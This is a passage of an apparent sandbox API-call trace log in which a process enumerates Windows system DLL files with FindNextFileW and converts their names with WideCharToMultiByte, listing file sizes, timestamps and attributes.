ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.398] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.398] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0036.398] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.398] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.398] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x30c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0036.398] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.399] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x30c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0036.399] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x30c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0036.399] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.399] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x30c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0036.399] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.399] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.399] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.399] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0036.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.400] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.400] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x30c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0036.400] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x30c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0036.400] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0036.400] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.400] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.400] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.400] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.401] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x4485d8, 